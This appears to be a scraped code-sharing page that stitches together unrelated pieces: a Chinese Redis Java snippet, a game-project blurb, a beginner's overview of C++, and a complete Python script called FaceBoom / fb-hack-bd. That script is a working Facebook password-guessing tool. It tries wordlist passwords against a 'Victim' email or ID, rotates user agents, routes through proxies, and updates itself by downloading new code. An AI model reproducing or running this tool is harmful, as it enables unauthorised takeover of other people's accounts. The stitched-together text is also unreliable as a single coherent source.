在CODE上查看代码片派生到我的代码片 redisTemplate.execute(new RedisCallback<Object>() { @Override public Object doInRedis(RedisConnection connection) throws DataAccessException { connection.set( redisTemplate.getStringSerializer().serialize( "test"), redisTemplate .getStringSerializer() .serialize("hello")); return null; } }); 是不是很方便的哈?结束第一天的教程,明天开始搭建redis集群。
sjvnnings
The base and final example projects for my "Satisfying 3D Game Feel" series on YouTube
sanusanth
What is C++? C++ is a general-purpose, object-oriented programming language. It was created by Bjarne Stroustrup at Bell Labs circa 1980. C++ is very similar to C (invented by Dennis Ritchie in the early 1970s). C++ is so compatible with C that it will probably compile over 99% of C programs without changing a line of source code. Though C++ is a lot of well-structured and safer language than C as it OOPs based. Some computer languages are written for a specific purpose. Like, Java was initially devised to control toasters and some other electronics. C was developed for programming OS. Pascal was conceptualized to teach proper programming techniques. But C++ is a general-purpose language. It well deserves the widely acknowledged nickname "Swiss Pocket Knife of Languages." C++ is a cross-platform language that can be used to create high-performance applications. C++ was developed by Bjarne Stroustrup, as an extension to the C language. C++ gives programmers a high level of control over system resources and memory. The language was updated 3 major times in 2011, 2014, and 2017 to C++11, C++14, and C++17. About C++ Programming Multi-paradigm Language - C++ supports at least seven different styles of programming. Developers can choose any of the styles. General Purpose Language - You can use C++ to develop games, desktop apps, operating systems, and so on. Speed - Like C programming, the performance of optimized C++ code is exceptional. Object-oriented - C++ allows you to divide complex problems into smaller sets by using objects. Why Learn C++? C++ is used to develop games, desktop apps, operating systems, browsers, and so on because of its performance. After learning C++, it will be much easier to learn other programming languages like Java, Python, etc. C++ helps you to understand the internal architecture of a computer, how computer stores and retrieves information. How to learn C++? C++ tutorial from Programiz - We provide step by step C++ tutorials, examples, and references. Get started with C++. Official C++ documentation - Might be hard to follow and understand for beginners. Visit official C++ documentation. Write a lot of C++ programming code- The only way you can learn programming is by writing a lot of code. Read C++ code- Join Github's open-source projects and read other people's code. C++ best programming language? The answer depends on perspective and requirements. Some tasks can be done in C++, though not very quickly. For example, designing GUI screens for applications. Other languages like Visual Basic, Python have GUI design elements built into them. Therefore, they are better suited for GUI type of task. Some of the scripting languages that provide extra programmability to applications. Such as MS Word and even photoshop tend to be variants of Basic, not C++. C++ is still used widely, and the most famous software have their backbone in C++. This tutorial will help you learn C++ basic and the advanced concepts. Who uses C++? Some of today's most visible used systems have their critical parts written in C++. Examples are Amadeus (airline ticketing) Bloomberg (financial formation), Amazon (Web commerce), Google (Web search) Facebook (social media) Many programming languages depend on C++'s performance and reliability in their implementation. Examples include: Java Virtual Machines JavaScript interpreters (e.g., Google's V8) Browsers (e.g., Internet Explorer, Mozilla's Firefox, Apple's Safari, and Google's Chrome) Application and Web frameworks (e.g., Microsoft's .NET Web services framework). Applications that involve local and wide area networks, user interaction, numeric, graphics, and database access highly depend on C++ language. Why Use C++ C++ is one of the world's most popular programming languages. C++ can be found in today's operating systems, Graphical User Interfaces, and embedded systems. C++ is an object-oriented programming language which gives a clear structure to programs and allows code to be reused, lowering development costs. C++ is portable and can be used to develop applications that can be adapted to multiple platforms. C++ is fun and easy to learn! As C++ is close to C# and Java, it makes it easy for programmers to switch to C++ or vice versa Definition - What does C++ Programming Language mean? C++ is an object oriented computer language created by notable computer scientist Bjorne Stroustrop as part of the evolution of the C family of languages. Some call C++ “C with classes” because it introduces object oriented programming principles, including the use of defined classes, to the C programming language framework. C++ is pronounced "see-plus-plus." C++ Variables Variables are the backbone of any programming language. A variable is merely a way to store some information for later use. We can retrieve this value or data by referring to a "word" that will describe this information. Once declared and defined they may be used many times within the scope in which they were declared. C++ Control Structures When a program runs, the code is read by the compiler line by line (from top to bottom, and for the most part left to right). This is known as "code flow." When the code is being read from top to bottom, it may encounter a point where it needs to make a decision. Based on the decision, the program may jump to a different part of the code. It may even make the compiler re-run a specific piece again, or just skip a bunch of code. You could think of this process like if you were to choose from different courses from Guru99. You decide, click a link and skip a few pages. In the same way, a computer program has a set of strict rules to decide the flow of program execution. C++ Syntax The syntax is a layout of words, expression, and symbols. Well, it's because an email address has its well-defined syntax. You need some combination of letters, numbers, potentially with underscores (_) or periods (.) in between, followed by an at the rate (@) symbol, followed by some website domain (company.com). So, syntax in a programming language is much the same. They are some well-defined set of rules that allow you to create some piece of well-functioning software. But, if you don't abide by the rules of a programming language or syntax, you'll get errors. C++ Tools In the real world, a tool is something (usually a physical object) that helps you to get a certain job done promptly. Well, this holds true with the programming world too. A tool in programming is some piece of software which when used with the code allows you to program faster. There are probably tens of thousands, if not millions of different tools across all the programming languages. Most crucial tool, considered by many, is an IDE, an Integrated Development Environment. An IDE is a software which will make your coding life so much easier. IDEs ensure that your files and folders are organized and give you a nice and clean way to view them. Types of C++ Errors Another way to look at C++ in a practical sense is to start enumerating different kinds of errors that occur as the written code makes its way to final execution. First, there are syntax errors where the code is actually written in an illegible way. This can be a misuse of punctuation, or the misspelling of a function command or anything else that compromises the integrity of the syntax as it is written. Another fundamental type of error is a compiler error that simply tells the programmer the compiler was not able to do its work effectively. As a compiler language, C++ relies on the compiler to make the source code into machine readable code and optimize it in various ways. A third type of error happens after the program has been successfully compiled. Runtime errors are not uncommon in C++ executables. What they represent is some lack of designated resource or non-working command in the executable program. In other words, the syntax is right, and the program was compiled successfully, but as the program is doing its work, it encounters a problem, whether that has to do with interdependencies, operating system requirements or anything else in the general environment in which the program is trying to work. Over time, C++ has remained a very useful language not only in computer programming itself, but in teaching new programmers about how object oriented programming works.
FatimaKabali
#!/usr/bin/python import socket, sys, os, re, random, optparse, time if sys.version_info.major <= 2:import httplib else:import http.client as httplib ## COLORS ############### wi="\033[1;37m" #>>White# rd="\033[1;31m" #>Red # gr="\033[1;32m" #>Green # yl="\033[1;33m" #>Yellow# ######################### os.system("cls||clear") def write(text): sys.stdout.write(text) sys.stdout.flush() versionPath = "core"+os.sep+"version.txt" errMsg = lambda msg: write(rd+"\n["+yl+"!"+rd+"] Error: "+yl+msg+rd+ " !!!\n"+wi) try:import requests except ImportError: errMsg("[ requests ] module is missing") print(" [*] Please Use: 'pip install requests' to install it :)") sys.exit(1) try:import mechanize except ImportError: errMsg("[ mechanize ] module is missing") print(" [*] Please Use: 'pip install mechanize' to install it :)") sys.exit(1) class FaceBoom(object): def __init__(self): self.useProxy = None self.br = mechanize.Browser() self.br.set_handle_robots(False) self.br._factory.is_html = True self.br.addheaders=[('User-agent',random.choice([ 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) RockMelt/0.9.58.494 Chrome/11.0.696.71 Safari/534.24', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2', 'Opera/9.80 (J2ME/MIDP; Opera Mini/9.80 (S60; SymbOS; Opera Mobi/23.348; U; en) Presto/2.5.25 Version/10.54', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11', 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.6 (KHTML, like Gecko) Chrome/16.0.897.0 Safari/535.6', 'Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20121202 Firefox/17.0 Iceweasel/17.0.1']))] @staticmethod def check_proxy(proxy): proxies = {'https':"https://"+proxy, 'http':"http://"+proxy} proxy_ip = proxy.split(":")[0] try: r = requests.get('https://www.wikipedia.org',proxies=proxies, timeout=5) if proxy_ip==r.headers['X-Client-IP']: return True return False except Exception : return False @staticmethod def cnet(): try: socket.create_connection((socket.gethostbyname("www.google.com"), 80), 2) return True except socket.error:pass return False def get_profile_id(self, target_profile): try: print(gr+"\n["+wi+"*"+gr+"] geting target Profile Id... please wait"+wi) idre = re.compile('"entity_id":"([0-9]+)"') con = requests.get(target_profile).text idis = idre.findall(con) print(wi+"\n["+gr+"+"+wi+"]"+gr+" Target Profile"+wi+" ID: "+yl+idis[0]+wi) except IndexError: errMsg("Please Check Your Victim's Profile URL") sys.exit(1) def login(self,target, password): try: self.br.open("https://facebook.com") self.br.select_form(nr=0) self.br.form['email']=target self.br.form['pass']= password self.br.method ="POST" if self.br.submit().get_data().__contains__(b'home_icon'):return 1 elif "checkpoint" in self.br.geturl(): return 2 return 0 except(KeyboardInterrupt, EOFError): print(rd+"\n["+yl+"!"+rd+"]"+yl+" Aborting"+rd+"..."+wi) time.sleep(1.5) sys.exit(1) except Exception as e: print(rd+" Error: "+yl+str(e)+wi+"\n") time.sleep(0.60) def banner(self,target,wordlist,single_passwd): proxystatus = gr+self.useProxy+wi+"["+gr+"ON"+wi+"]" if self.useProxy else yl+"["+rd+"OFF"+yl+"]" print(gr+""" ================================== [---] """+wi+"""*CYBER_ROCKY*"""+gr+""" [---] ================================== [---] """+wi+"""Facebook-Hack-BD """+gr+""" [---] ================================== [---] """+yl+"""CONFIG"""+gr+""" [---] ================================== [>] Target :> """+wi+target+gr+""" {}""".format("[>] Wordlist :> "+yl+str(wordlist) if not single_passwd else "[>] Password :> "+yl+str(single_passwd))+gr+""" [>] ProxyStatus :> """+str(proxystatus)+wi) if not single_passwd: print(gr+"""\ =================================="""+wi+""" [~] """+yl+"""Facebook-"""+rd+"""Password-Attack: """+gr+"""Enabled """+wi+"""[~]"""+gr+""" ==================================\n"""+wi) else:print("\n") @staticmethod def updateFaceBoom(): if not os.path.isfile(versionPath): errMsg("Unable to check for updates: please re-clone the script to fix this problem") sys.exit(1) write("[~] Checking for updates...\n") conn = httplib.HTTPSConnection("raw.githubusercontent.com") conn.request("GET", "/Oseid/FaceBoom/master/core/version.txt") repoVersion = conn.getresponse().read().strip().decode() with open(versionPath) as vf: currentVersion = vf.read().strip() if repoVersion == currentVersion:write(" [*] The script is up to date!\n") else: print(" [+] An update has been found ::: Updating... ") conn.request("GET", "/Oseid/FaceBoom/master/faceboom.py") newCode = conn.getresponse().read().strip().decode() with open("faceboom.py", "w") as faceBoomScript: faceBoomScript.write(newCode) with open(versionPath, "w") as ver: ver.write(repoVersion) write(" [+] Successfully updated :)\n") parse = optparse.OptionParser(wi+""" Usage: python fb-hack-bd.py [OPTIONS...] ------------- OPTIONS: |Facebook-account💀Hacking💀Tools. ____ _ ____ _ / ___| _| |__ ___ _ __ | _ \ ___ ___| | ___ _ | | | | | | '_ \ / _ \ '__|____| |_) / _ \ / __| |/ / | | | | |__| |_| | |_) | __/ | |_____| _ < (_) | (__| <| |_| | \____\__, |_.__/ \___|_| |_| \_\___/ \___|_|\_\\__, | |___/ |___/ ............................................................ This is ***Cyber-Rocky*** Password Attack Tools. .....Made in Bangladesh..... |-------- | -t <target email> [OR] <FACEBOOK ID> ::> Specify target Email [OR] Target Profile ID |-------- | -w <wordlist Path> ::> Specify Wordlist File Path |-------- | -s <single password> ::> Specify Single Password To Check |-------- | -p <Proxy IP:PORT> ::> Specify HTTP/S Proxy (Optional) |-------- | -g <TARGET Facebook Profile URL> ::> Specify Target Facebook Profile URL For Get HIS ID |-------- | -u/--update ::> Update FaceBoom Script ------------- Examples: | |-------- |1/ python fb-hack-bd.py -t Victim@gmail.com -w /usr/share/wordlists/rockyou.txt |-------- |*2/ python fb-hack-bd.py -t 100001013078780 -w /data/data/com.termux/files/home/password.txt |-------- |3/ python fb-hack-bd.py -t Victim@hotmail.com -w \wordlist.txt -p 144.217.101.245:3129 |-------- |4/ python fb-hack-bd.py -t Victim@gmail.com -s 1234567 |-------- |5/ python fb-hack-bd.py -g https://www.facebook.com/Victim_Profile |-------- """) def Main(): parse.add_option("-t","--target",'-T','--TARGET',dest="target",type="string", help="Specify Target Email or ID") parse.add_option("-w","--wordlist",'-W','--WORDLIST',dest="wordlist",type="string", help="Specify Wordlist File ") parse.add_option("-s","--single","--S","--SINGLE",dest="single",type="string", help="Specify Single Password To Check it") parse.add_option("-p","-P","--proxy","--PROXY",dest="proxy",type="string", help="Specify HTTP/S Proxy to be used") parse.add_option("-g","-G","--getid","--GETID",dest="url",type="string", help="Specify TARGET FACEBOOK PROFILE URL to get his ID") parse.add_option("-u","-U","--update","--UPDATE", dest="update", action="store_true", default=False) (options,args) = parse.parse_args() faceboom = FaceBoom() target = options.target wordlist = options.wordlist single_passwd = options.single proxy = options.proxy target_profile = options.url update = options.update opts = [target,wordlist,single_passwd, proxy, target_profile, update] if any(opt for opt in opts): if not faceboom.cnet(): errMsg("Please Check Your Internet Connection") sys.exit(1) if update: faceboom.updateFaceBoom() sys.exit(1) elif target_profile: faceboom.get_profile_id(target_profile) sys.exit(1) elif wordlist or single_passwd: if wordlist: if not os.path.isfile(wordlist): errMsg("Please check Your Wordlist Path") sys.exit(1) if single_passwd: if len(single_passwd.strip()) < 6: errMsg("Invalid Password") print("[!] Password must be at least '6' characters long") sys.exit(1) if proxy: if proxy.count(".") != 3: errMsg("Invalid IPv4 ["+rd+str(proxy)+yl+"]") sys.exit(1) print(wi+"["+yl+"~"+wi+"] Connecting To "+wi+"Proxy[\033[1;33m {} \033[1;37m]...".format(proxy if not ":" in proxy else proxy.split(":")[0])) final_proxy = proxy+":8080" if not ":" in proxy else proxy if faceboom.check_proxy(final_proxy): faceboom.useProxy = final_proxy faceboom.br.set_proxies({'https':faceboom.useProxy, 'http':faceboom.useProxy}) print(wi+"["+gr+"Connected"+wi+"]") else: errMsg("Connection Failed") errMsg("Unable to connect to Proxy["+rd+str(proxy)+yl+"]") sys.exit(1) faceboom.banner(target,wordlist,single_passwd) loop = 1 if not single_passwd else "~" if single_passwd: passwords = [single_passwd] else: with open(wordlist, 'r', errors='replace') as f: passwords = f.readlines() for passwd in passwords: passwd = passwd.strip() if len(passwd) <6:continue write(wi+"["+yl+str(loop)+wi+"] Trying Password[ {"+yl+str(passwd)+wi+"} ]") retCode = faceboom.login(target, passwd) if retCode: sys.stdout.write(wi+" ==> Login"+gr+" Success\n") print(wi+"========================="+"="*len(passwd)+"======") print(wi+"["+gr+"+"+wi+"] Password [ "+gr+passwd+wi+" ]"+gr+" Is Correct :)") print(wi+"========================="+"="*len(passwd)+"======") if retCode == 2:print(wi+"["+yl+"!"+wi+"]"+yl+" Warning: This account use ("+rd+"2F Authentication"+yl+"):"+rd+" It's Locked"+yl+" !!!") break else: sys.stdout.write(yl+" ==> Login"+rd+" Failed\n") loop = loop + 1 if not single_passwd else "~" else: if single_passwd: print(yl+"\n["+rd+"!"+yl+"] Sorry: "+wi+"The Password[ "+yl+passwd+wi+" ] Is Not Correct"+rd+":("+yl+"!"+wi) print(gr+"["+yl+"!"+gr+"]"+yl+" Please Try Another password or Wordlist "+gr+":)"+wi) else: print(yl+"\n["+rd+"!"+yl+"] Sorry: "+wi+"I Can't Find The Correct Password In [ "+yl+wordlist+wi+" ] "+rd+":("+yl+"!"+wi) print(gr+"["+yl+"!"+gr+"]"+yl+" Please Try Another Wordlist. "+gr+":)"+wi) sys.exit(1) else: print(parse.usage) sys.exit(1) if __name__=='__main__': Main() ############################################################## ##################### ######################### ##################### END OF TOOL ######################### ##################### ######################### ############################################################## #This Tool by Oseid Aldary #Have a nice day :) #GoodBye